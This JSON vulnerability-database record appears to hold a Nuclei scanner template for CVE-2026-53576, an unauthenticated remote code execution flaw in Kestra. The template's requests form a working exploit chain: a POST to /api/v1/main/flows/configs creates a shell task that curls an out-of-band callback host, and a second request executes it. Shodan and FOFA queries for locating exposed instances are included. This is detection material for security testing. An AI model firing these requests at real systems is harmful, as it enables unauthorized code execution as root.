{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-53576/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-53576/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-53576/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-53576/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-53576/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-53576"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-53576"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-53576.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-53576\n\ninfo:\n  name: Kestra <= 1.3.20 - Remote Code Execution\n  author: 0x_Akoko,pdteam,aryu-ru\n  severity: critical\n  description: |\n    Kestra <= 1.3.20 contains an authentication bypass caused by misclassification of /configs endpoint in REST API filter, letting unauthenticated attackers create and execute root-level tasks, exploit requires unauthenticated access to /configs endpoint.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code as root inside the container, potentially compromising the host via Docker socket access.\n  remediation: |\n    Update to versions 1.0.45 or 1.3.21 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-53576\n    - https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-53576\n    epss-score: 0.03296\n    epss-percentile: 0.88549\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: kestra\n    product: kestra\n    shodan-query: title:\"Kestra\"\n    fofa-query: title=\"Kestra\"\n  tags: cve,cve2026,kestra,rce,oast,intrusive,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(body, \"KESTRA\", \"<title>Kestra\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/main/flows/configs HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-yaml\n\n        id: configs\n        namespace: configs\n        tasks:\n          - id: pwn\n            type: io.kestra.plugin.scripts.shell.Commands\n            taskRunner:\n              type: io.kestra.plugin.core.runner.Process\n            commands:\n              - curl -m 5 -s http://{{interactsh-url}}/rce\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 409'\n          - 'contains(body, \"configs\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/main/executions/configs/configs HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----KestraBoundary\n\n        ------KestraBoundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(interactsh_protocol, \"http\", \"dns\")'\n          - 'status_code == 200 || status_code == 409'\n        condition: and\n# digest: 4a0a004730450220341c033eb0056da50bf5a3026e1e05505d594ce19eb9cf58c0edab3203179465022100cdbf6d86d3591ac1b6f5633bb30bd30db988267730d4d2e4afe2df47fcf77de6:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-53576"
}